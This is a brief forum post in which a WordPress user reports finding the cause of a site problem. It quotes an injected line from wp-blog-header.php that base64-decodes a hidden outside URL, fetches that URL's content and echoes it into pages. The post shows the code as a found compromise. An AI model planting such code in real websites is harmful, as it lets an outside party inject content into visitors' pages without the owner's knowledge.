Hello!
I just found the problem. There was this weird script in wp-blog-header.php:
$base64 = base64_decode(“aHR0cDovL3d3dy5qd3N4Lm5ldC9vL29vLnR4dA==”); $get = file_get_contents($base64); echo $get;
Which basically was just taking the content from here:
[Redacted]
Which again is exactly what my problem was.
Thank you for the support and useful links Geoffrey!